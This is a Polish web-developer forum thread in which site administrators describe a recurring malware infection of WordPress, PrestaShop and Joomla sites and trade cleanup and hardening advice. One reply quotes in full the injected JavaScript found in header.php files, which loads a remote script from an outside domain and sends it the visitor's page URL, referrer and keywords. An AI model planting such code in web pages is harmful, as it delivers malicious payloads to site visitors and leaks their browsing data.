Potężna infekcja na serwerze

Potężna infekcja na serwerze
MA
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 8 lat
  • Postów:5
0

Witajcie,

Od bodajże 3 miesięcy borykamy się z bardzo denerwującą infekcją na serwerze, gdzie hostujemy wiele aplikacji CMS (17x WordPress, 4x PrestaShop, 3x Joomla, 1x Kohana PHP Framework, 2x autorski CMS i 2x pure html+css). Wirus dodaje kod do plików .php (przede wszystkim indexów, ale często też innych plików, również w podkatalogach), dodaje swoje pliki php o różnych nazwach, zmienia pliki szablonów (najczęściej header.php) dodając w nagłówkach przed </head> link do szkodliwych skryptów, powoduje to wpisanie stron na blacklistę Google i wyświetlanie się alertów o szkodliwej zawartości, dodaje również swoje pliki weryfikacyjne do usług Google - Search Console, Analytics itd. oraz podmienia sitemapy i robots, co powoduje sfałszowane indeksowanie przez wyszukiwarki - jako tytuł i opis pokazywany jest ciąg chińskich znaków, a pod tytułem w wyszukiwarce dodany jest dopisek "Ta witryna mogła paść ofiarą ataku hackerów".

Pomimo naszych usilnych starań sytuacja cały czas się powtarza - już gdy zobaczyliśmy pierwsze objawy podjęliśmy działania, które okazały się bardzo krótkoterminowe i po jakimś czasie okazały się bezskuteczne. Mianowicie:

  • przeskanowaliśmy cały serwer i usunęliśmy wykryte przez antywirusa linuxpl szkodliwe fragmenty kodu
  • przeskanowaliśmy komputery z których się łączyliśmy i usunęliśmy malware (przy pomocy Windows Defender i Malwarebytes Anti-Malware)
  • wszystkie systemy CMS, wtyczki oraz motywy zostały zaktualizowane do najnowszych wersji
  • hasła do cmsów, baz danych oraz ftp zostały zmienione
  • ręcznie usuwaliśmy złośliwy kod i podejrzane pliki, co zajęło naprawdę masę czasu
  • skanowaliśmy każdą domenę skanerem od Sucuri i eliminowaliśmy problemy (w przypadku malware - złośliwy kod, w przypadku pozostania na blackliście dodanie do Search Console i wnioskowanie o przeindeksowanie, oczywiście prośby były pozytywnie rozpatrzone i strony zostały zdjęte z czarnej listy - do czasu ponownego zaindeksowania po ponownym zainfekowaniu)

Czynności te powtarzamy regularnie co jakiś czas (około 2 tygodnie), jak widać długoterminowo nie przynosi to żadnych efektów i infekcja powraca (a właściwie cały czas gdzieś jest). Nie możemy zlokalizować źródła tych problemów, nie mamy już nawet pomysłu na podjęcie dalszych działań.
Serwer to WPRO na LinuxPL.com, niestety support nie może pomóc nam w jakiś bardziej intensywny sposób niż standardowy.

W związku z tą sytuacją piszemy tego posta - jakie pomysły na jak najmniej inwazyjne i czasochłonne rozwiązanie tego kłopotu proponujecie? Na serwerze hostowane są oprócz naszych serwisów również strony klientów i nie możemy w kółko tylko zwalczać objawów, lecz musimy finalnie wyeliminować przyczyny.

Czy macie jakieś sugestie?

Pozdrawiamy serdecznie

czysteskarpety
czysteskarpety
  • Rejestracja:prawie 10 lat
  • Ostatnio:ponad 4 lata
  • Lokalizacja:Piwnica
  • Postów:7697
0

nie mieliście backupu?


MA
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 8 lat
  • Postów:5
0

Mieliśmy backupy z niektórych domen, LinuxPL też robił automatyczne - była to w sumie pierwsza czynność którą zrobiliśmy, niestety okazało się, że niczego to nie zmieniło i dalej wirus się replikował.

czysteskarpety
czysteskarpety
  • Rejestracja:prawie 10 lat
  • Ostatnio:ponad 4 lata
  • Lokalizacja:Piwnica
  • Postów:7697
0

pytanie czy to była kopia przyrostowa czy czysta kopia przechowywana na innym nośniku, bo z tego co piszesz mam wrażenie "że coś tam niby było, ale w sumie nie wiadomo co"
i to się niestety zemściło


MA
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 8 lat
  • Postów:5
0

Była to niekompletna kopia przyrostowa, niestety nikt z moich poprzedników nie przewidział takiej sytuacji, a ja teraz muszę robić porządek z tym całym bałaganem :(

czysteskarpety
czysteskarpety
to współczuje
MA
dziękuję za współczucie, jakkolwiek mało mnie ono przybliża do sukcesu :D Pytanie brzmi co teraz mogę zrobić? Zaproponowałem postawienie drugiego serwera i kodowanie stron od nowa, w przypadku stron typu wizytówka na prostym CMSie jest to nawet realne i mało czasochłonne, problem pojawia się ze sklepami z rozbudowanymi bazami danych itd. więc pomysł ten z góry jest skazany na porażkę. Zarząd firmy jest gotowy zapłacić komuś za oczyszczenie serwera, tylko kto mógłby się czymś takim zająć? ;)
czysteskarpety
czysteskarpety
to wystaw ogłoszenie w necie, przecież to nie twoja wina to co się przejmujesz, tak się mści zatrudnianie januszy, przecież przy tych kilku stronkach zrobienie kopii 1:1 to nie jest jakiś olbrzymi problem, a teraz niestety mleko się rozlało i cóż ...
MA
w teorii nie moja wina, jednak wiesz, gdzieś tam w świadomości siedzi taka myśl, że może jednak mógłbym temu jakoś zapobiec albo zrobić cokolwiek w inny sposób, żeby ostatecznie nie doprowadzić do takiego rozrostu.
KA
KA
  • Rejestracja:prawie 12 lat
  • Ostatnio:prawie 5 lat
  • Lokalizacja:Warszawa
  • Postów:1683
0

1. Ta infekcja nawraca, bo nie umiecie jej się do końca pozbyć czy po prostu jesteście dziurawi i regularnie można do was wbijać i wrzucać wam wirusy?
2. To serwer na systemie GNU Linux?
3. Po wyleczeniu części plików, jeżeli wirus uporczywie ponownie je infekuje moglibyście zapuścić skrypcik ala watcher na katalogi z tymi plikami korzystając z narzędzi typu auditctl / inotify?


PROGRAMY NA ZAMÓWIENIE, ZALICZENIA STUDENCKIE, KONFIGURACJA SERWERÓW, SYSTEMÓW I BAZ DANYCH, STRONY INTERNETOWE, POMOC W PROGRAMOWANIU, POPRAWIENIE I OPTYMALIZACJA APLIKACJI
JAVA, C++, LINUX, WWW, SQL, PYTHON
POSIADAM KOMERCYJNE DOŚWIADCZENIE
TANIO, SZYBKO I PORZĄDNIE
Z KOMENTARZAMI OBJAŚNIAJĄCYMI KOD
PISZ NA PRYWATNĄ WIADOMOŚĆ
CENY JUŻ OD 49,99ZŁ ZA PROGRAM
ZAJMIJ SIĘ TYM CO CIĘ NAPRAWDĘ INTERESUJE!
edytowany 1x, ostatnio: karolinaa
RE
Moderator
  • Rejestracja:około 18 lat
  • Ostatnio:11 miesięcy
0

Trzeba przejrzeć access logi.

0

Sprawdźcie czy nie ma w użytkownikach wordpress jakiegoś szkodliwego. Kiedyś też z tym walczyłem i kompletne wyczyszczenie wszystkiego pomogło i sytuacja się już nie powtórzyła

MA
Wszystko sprawdzone, nikogo nieodpowiedniego nie ma i nie było
DO
  • Rejestracja:około 20 lat
  • Ostatnio:9 miesięcy
  • Lokalizacja:Zielona Góra
0

To nie wina samego serwera a skryptów/CMS-ow.

Powiem tak: kiedyś dałbym sobie rękę uciąć za Joomla i broniłem ją jak PiS krzyża przed określeniami "dziurawa" itd.
Teraz po prostu nienawidzę tego CMS-a, a mam na nim podstawionych multum stron (swoich i komercyjnych). Z jednej strony jej modułowość to zbawienie, z drugiej przekleństwo. Co ciekawe, często używam płatnych rozwiązań, bo w domyśle "co płatne to bezpieczniejsze". A guzik.
Co chwilę ataki, dziury itd. Ja już mam serdecznie dość.
Zaznaczam, że nie wiem jak jest na innych np. WordPress, Drupal.


front
edytowany 1x, ostatnio: docxxx
Zobacz pozostały 1 komentarz
DO
Takie teksty, że "pewnie nie aktualizujesz jómli i wtyczków" już do mnie nie trafia. Za dużo razy się nawkurwiałem nad tym wszystkim by teraz wysłuchiwać takich morałów. Nic do Ciebie nie mam. Po prostu po tym jak prawie nie skończyło się to w sądzie ja już mam serdecznie dość.
czysteskarpety
czysteskarpety
napisałem, że to jest jedna z przyczyn, a nie jedyna
DO
aurel
Na pocieszenie mogę powiedzieć, że na Wordpressie jest tak samo :D Z jednej strony - nie aktualizujesz, to masz vulny i mogą cię zaatakować. Z drugiej strony - aktualizujesz, to dostajesz bugi ze słabo przetestowanej aktualizacji :D
czysteskarpety
czysteskarpety
@aurel no tak jest, dlatego pisałem w innym temacie, że jak nie potrzeba funkcjonalności cms to lepiej zrobić na FW ...
abrakadaber
abrakadaber
  • Rejestracja:ponad 12 lat
  • Ostatnio:7 miesięcy
  • Postów:6610
0

piszesz, że pozmienialiście hasła - a sprawdziliście, czy jakiś nowy user się nie pojawił z prawami roota


Chcesz pomocy - pokaż kod - abrakadabra źle działa z techniką.
Bartosz Wójcik
  • Rejestracja:około 14 lat
  • Ostatnio:ponad 4 lata
  • Postów:439
2

Jak infekuje wam to wszystko na raz to ja bym zrobił separację kont użytkowników i każdą aplikację na osobnym koncie postawił, do tego oddzielne pule php-fpm, bo przyczyną jest najprawdopodobniej jakiś 0day lub pominięty fragment zainfekowanego skryptu lub wpisu w bazie danych, który potem jest evalowany (1 wystarczy, żeby się rozpleniło), no ale skoro tak jest to niech zainfekuje pojedyncze strony, a nie że wam skanuje cały serwer i wszystko infekuje jak leci, no i potem jeśli coś na nowo zostanie zainfekowane to taka separacja pozwoli na wykrycie bezpośredniego winowajcy. Dodatkowo sprawdziłbym również czy hasła do kont użytkowników i baz danych nie są jakieś proste, a najlepiej zmienił je na losowe, raz u znajomego czyściłem infekcję i cały czas wracało, okazało się, że miał ustawione hasło do admina WordPress "jordan23" i boty sprawdzały najpopularniejsze hasła i mu non stop wgrywały zainfekowane pluginy.

jarekr000000
  • Rejestracja:ponad 8 lat
  • Ostatnio:około godziny
  • Lokalizacja:U krasnoludów - pod górą
  • Postów:4707
1

Kiedyś coś takiego widziałem. Źródłem infekcji były windowsy webmasterów (podpietę przez ftp, total commander). Czyli webmaster dostaje nowe hasło - zmienia wpis w total komanderze. Robal z windowsa jakoś to obczaja i wbija od nowa....

System od nowa, odciąć dostęp wszystkim i obserwować.


jeden i pół terabajta powinno wystarczyć każdemu
FO
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 8 lat
  • Postów:2
0

Hey wszystkim
Mam identyczną sytuację, mam 2 vpsy pierwszy na apache, drugi na ngix i moja sprawa wyglada identycznie, cos dokleja do moich WordPressów zlosliwy skrypt w pliku szablonu - header.php tuz przed koncem head. Robilem juz niemal wszystko, problem nie ustepuje, inne strony na innych skryptach są czyste.

Na pierwszym serwerze na apachu mialem z 8 wordpressow, w jednej chwili wszystkie zostaly zainfekowane wlasnie wyzej wymienionym zlosliwym skryptem. Postawilem nowy vps, wrzucilem nową stronę (nowa domena) z czystym wordpressem, wszystko ok, potem wrzucilem 5 wordpressow z tamtego apacha i po jakims czasie zarazily sie wszystkie strony w tym ta nowa z nową domeną, calkowicie czysta. Niewiem juz co jest grane, szukalem wszytkich rozwiazan od eval czy base64 decode, zmian hasel na serwerze, wordpressow, instalacji pluginow od skanowania (po 3!!!) i nadal po kilku godzinach dokleja skrypt do header, w stylu:

Kopiuj
<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://tcsogrodzenia.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'J18171' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>
 

gdzie strona http://tcsogrodzenia.com/js/jquery.min.php jest stroną losową z kilku innych wystepujących w tym zlosliwym skrypcie.

Proszę podajcie jakieś wskazówki, ja już jestem tym zmeczony bo rowniez męcze się z tym jakieś 3 miesiące...

0

Opcja - porzuć tonący statek i zbuduj nowy odpada?

FO
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 8 lat
  • Postów:2
0

jezeli postawisz czystą stronę na wordpressie na nowym serwerze to może jednak nie zlapie juz tej infekcji, ale jezeli postawisz czystą stronę na wordpress i potem dorzucisz strony zarazone tym czyms to ona tez oberwie.

Tu juz ogarnialem temat:
http://www.webhostingtalk.pl/topic/55292-wordpress-i-malware/

Koledze cos tam pomoglo, a robil to samo co ja, jestem naprawde zmeczony tym tematem juz, przeszukalem caly internet, nawet na forach joomla mimo ze mam tylko wordpressy i nadal nic.

Sprobuje jeszcze szybko postawic czyste wordpressy i zimportowac wpisy, strony itp. dodajac powoli pluginy. Dla mnie ta sprawa z infekcją jest ponad moje mozliwosci.

0
  1. Tworzysz dwóch oddzielnych użytkowników (zwykli użytkownicy), jeden do usług drugi od plików.
  2. Przegrywasz swoje pliki PHP, itd na serwer na pierwszym użytkowniku.
  3. Odbierasz prawo do zapisu grupom oraz reszcie.
  4. Odpalasz usługi na drugim użytkowniku (nie roocie)
  5. Cieszysz się statycznym stanem swoich stron.

Potem możesz zainstalować system IDS, i szukać skryptów zapisujących na dysk (a nie w bazie) oraz czyścić je po kolei. Jeżeli się na tym nie znasz to daj to komuś. Już sama konfiguracja wykrywania zapisu przez apacha, czy nginx'a będzie dla Ciebie problematyczna.

MA
  • Rejestracja:ponad 8 lat
  • Ostatnio:ponad 8 lat
  • Postów:5
0

Dobra, u nas w firmie zdecydowaliśmy się na skorzystanie z usług firm/osób zewnętrznych, gdyż nie mamy już sił na samodzielny bój. Po zrobieniu krótkiego researchu wybrałem Pana Jacka Jagusiaka (http://jacekjagusiak.pl/usuwanie-wirusow-ze-stron-i-serwera/), dzisiaj pisałem z nim na ten temat niemalże cały dzień. Wydaje mi się, że jest to osoba, która poradzi sobie z tym w mgnieniu oka. Jego propozycja to uprzednie wykupienie serwera VPS, na który on będzie wrzucał oczyszczone już strony, odseparowane od sobą za pomocą uprawnień nadawanych w schemacie root-reseller-user, gdzie dla każdej strony będzie osobny user.

Pan Jacek w międzyczasie pokazał kilka prostych sposobów na łatwe odnalezienie dziur w popularnych systemach CMS np. Joomla, czym niejako udowodnił swoje umiejętności.

Mam teraz tylko pytanie: czy na pewno serwer VPS uciągnie 27 site-ów? Czy proponowalibyście jakieś inne rozwiązania? Na pewno nie chcemy używać już shared hostingu. Zdecydować się na VPS, serwer dedykowany czy chmurę? Jakie firmy polecacie w danym przypadku? Najważniejsze to zabezpieczenia, aby z poziomu żadnej strony nie można było w jakikolwiek sposób dokonywać zmian na innej. Ważne też jest to, aby zachować odpowiednią wydajność, no i nie chcemy zbytnio przeskakiwać pułapu cenowego (konto WPro na LinuxPL to 344.40 brutto / 12 m-cy). Jesteśmy w stanie wydać, powiedzmy na to, maksymalnie 500zł rocznie za sam hosting. Firma, którą zaproponował Pan Jacek to Biznes-Host (https://biznes-host.pl/?s=plany_vps2), ale potrzebna jest nam powierzchnia 100GB aby z zapasem to pomieścić.

KA
No to jak Pan Jacek tak powiedział to myślę, że to będzie dobry wybór. Poza tym trochę współczuję, że nie macie w firmie żadnego ogarniętego programisty / admina. Padły w tym temacie dobre porady jak można sobie z taką żałosną sytuacją poradzić bardzo prosto.
MA
Teoretycznie się da, ale nie mamy nawet dostępu przez shella do roota. Na tym koncie nie mogłem nawet postawić Laravela, tyle mamy uprawnień :)
hzmzp
BiznesHost jest spoko, aczkolwiek OVH jest lepszy (moja opinia)
hzmzp
  • Rejestracja:ponad 11 lat
  • Ostatnio:około 7 godzin
  • Postów:620
0

Zbuduj nowy statek:
PHP-FPM
chroot
https://suhosin.org/stories/index.html
http://www.suphp.org/Home.html
https://serversforhackers.com/video/php-fpm-multiple-resource-pools
Jak się któryś zarazi to nie będzie siał po wszystkim, my tak zrobiliśmy i od przeszło pół roku spokój.
Główne ataki na wp przechodziły przez revslider i parę innych wtyczek.

Kliknij, aby dodać treść...

Pomoc 1.18.8

Typografia

Edytor obsługuje składnie Markdown, w której pojedynczy akcent *kursywa* oraz _kursywa_ to pochylenie. Z kolei podwójny akcent **pogrubienie** oraz __pogrubienie__ to pogrubienie. Dodanie znaczników ~~strike~~ to przekreślenie.

Możesz dodać formatowanie komendami , , oraz .

Ponieważ dekoracja podkreślenia jest przeznaczona na linki, markdown nie zawiera specjalnej składni dla podkreślenia. Dlatego by dodać podkreślenie, użyj <u>underline</u>.

Komendy formatujące reagują na skróty klawiszowe: Ctrl+B, Ctrl+I, Ctrl+U oraz Ctrl+S.

Linki

By dodać link w edytorze użyj komendy lub użyj składni [title](link). URL umieszczony w linku lub nawet URL umieszczony bezpośrednio w tekście będzie aktywny i klikalny.

Jeżeli chcesz, możesz samodzielnie dodać link: <a href="link">title</a>.

Wewnętrzne odnośniki

Możesz umieścić odnośnik do wewnętrznej podstrony, używając następującej składni: [[Delphi/Kompendium]] lub [[Delphi/Kompendium|kliknij, aby przejść do kompendium]]. Odnośniki mogą prowadzić do Forum 4programmers.net lub np. do Kompendium.

Wspomnienia użytkowników

By wspomnieć użytkownika forum, wpisz w formularzu znak @. Zobaczysz okienko samouzupełniające nazwy użytkowników. Samouzupełnienie dobierze odpowiedni format wspomnienia, zależnie od tego czy w nazwie użytkownika znajduje się spacja.

Znaczniki HTML

Dozwolone jest używanie niektórych znaczników HTML: <a>, <b>, <i>, <kbd>, <del>, <strong>, <dfn>, <pre>, <blockquote>, <hr/>, <sub>, <sup> oraz <img/>.

Skróty klawiszowe

Dodaj kombinację klawiszy komendą notacji klawiszy lub skrótem klawiszowym Alt+K.

Reprezentuj kombinacje klawiszowe używając taga <kbd>. Oddziel od siebie klawisze znakiem plus, np <kbd>Alt+Tab</kbd>.

Indeks górny oraz dolny

Przykład: wpisując H<sub>2</sub>O i m<sup>2</sup> otrzymasz: H2O i m2.

Składnia Tex

By precyzyjnie wyrazić działanie matematyczne, użyj składni Tex.

<tex>arcctg(x) = argtan(\frac{1}{x}) = arcsin(\frac{1}{\sqrt{1+x^2}})</tex>

Kod źródłowy

Krótkie fragmenty kodu

Wszelkie jednolinijkowe instrukcje języka programowania powinny być zawarte pomiędzy obróconymi apostrofami: `kod instrukcji` lub ``console.log(`string`);``.

Kod wielolinijkowy

Dodaj fragment kodu komendą . Fragmenty kodu zajmujące całą lub więcej linijek powinny być umieszczone w wielolinijkowym fragmencie kodu. Znaczniki ``` lub ~~~ umożliwiają kolorowanie różnych języków programowania. Możemy nadać nazwę języka programowania używając auto-uzupełnienia, kod został pokolorowany używając konkretnych ustawień kolorowania składni:

```javascript
document.write('Hello World');
```

Możesz zaznaczyć również już wklejony kod w edytorze, i użyć komendy  by zamienić go w kod. Użyj kombinacji Ctrl+`, by dodać fragment kodu bez oznaczników języka.

Tabelki

Dodaj przykładową tabelkę używając komendy . Przykładowa tabelka składa się z dwóch kolumn, nagłówka i jednego wiersza.

Wygeneruj tabelkę na podstawie szablonu. Oddziel komórki separatorem ; lub |, a następnie zaznacz szablonu.

nazwisko;dziedzina;odkrycie
Pitagoras;mathematics;Pythagorean Theorem
Albert Einstein;physics;General Relativity
Marie Curie, Pierre Curie;chemistry;Radium, Polonium

Użyj komendy by zamienić zaznaczony szablon na tabelkę Markdown.

Lista uporządkowana i nieuporządkowana

Możliwe jest tworzenie listy numerowanych oraz wypunktowanych. Wystarczy, że pierwszym znakiem linii będzie * lub - dla listy nieuporządkowanej oraz 1. dla listy uporządkowanej.

Użyj komendy by dodać listę uporządkowaną.

1. Lista numerowana
2. Lista numerowana

Użyj komendy by dodać listę nieuporządkowaną.

* Lista wypunktowana
* Lista wypunktowana
** Lista wypunktowana (drugi poziom)

Składnia Markdown

Edytor obsługuje składnię Markdown, która składa się ze znaków specjalnych. Dostępne komendy, jak formatowanie , dodanie tabelki lub fragmentu kodu są w pewnym sensie świadome otaczającej jej składni, i postarają się unikać uszkodzenia jej.

Dla przykładu, używając tylko dostępnych komend, nie możemy dodać formatowania pogrubienia do kodu wielolinijkowego, albo dodać listy do tabelki - mogłoby to doprowadzić do uszkodzenia składni.

W pewnych odosobnionych przypadkach brak nowej linii przed elementami markdown również mógłby uszkodzić składnie, dlatego edytor dodaje brakujące nowe linie. Dla przykładu, dodanie formatowania pochylenia zaraz po tabelce, mogłoby zostać błędne zinterpretowane, więc edytor doda oddzielającą nową linię pomiędzy tabelką, a pochyleniem.

Skróty klawiszowe

Skróty formatujące, kiedy w edytorze znajduje się pojedynczy kursor, wstawiają sformatowany tekst przykładowy. Jeśli w edytorze znajduje się zaznaczenie (słowo, linijka, paragraf), wtedy zaznaczenie zostaje sformatowane.

  • Ctrl+B - dodaj pogrubienie lub pogrub zaznaczenie
  • Ctrl+I - dodaj pochylenie lub pochyl zaznaczenie
  • Ctrl+U - dodaj podkreślenie lub podkreśl zaznaczenie
  • Ctrl+S - dodaj przekreślenie lub przekreśl zaznaczenie

Notacja Klawiszy

  • Alt+K - dodaj notację klawiszy

Fragment kodu bez oznacznika

  • Alt+C - dodaj pusty fragment kodu

Skróty operujące na kodzie i linijkach:

  • Alt+L - zaznaczenie całej linii
  • Alt+, Alt+ - przeniesienie linijki w której znajduje się kursor w górę/dół.
  • Tab/⌘+] - dodaj wcięcie (wcięcie w prawo)
  • Shit+Tab/⌘+[ - usunięcie wcięcia (wycięcie w lewo)

Dodawanie postów:

  • Ctrl+Enter - dodaj post
  • ⌘+Enter - dodaj post (MacOS)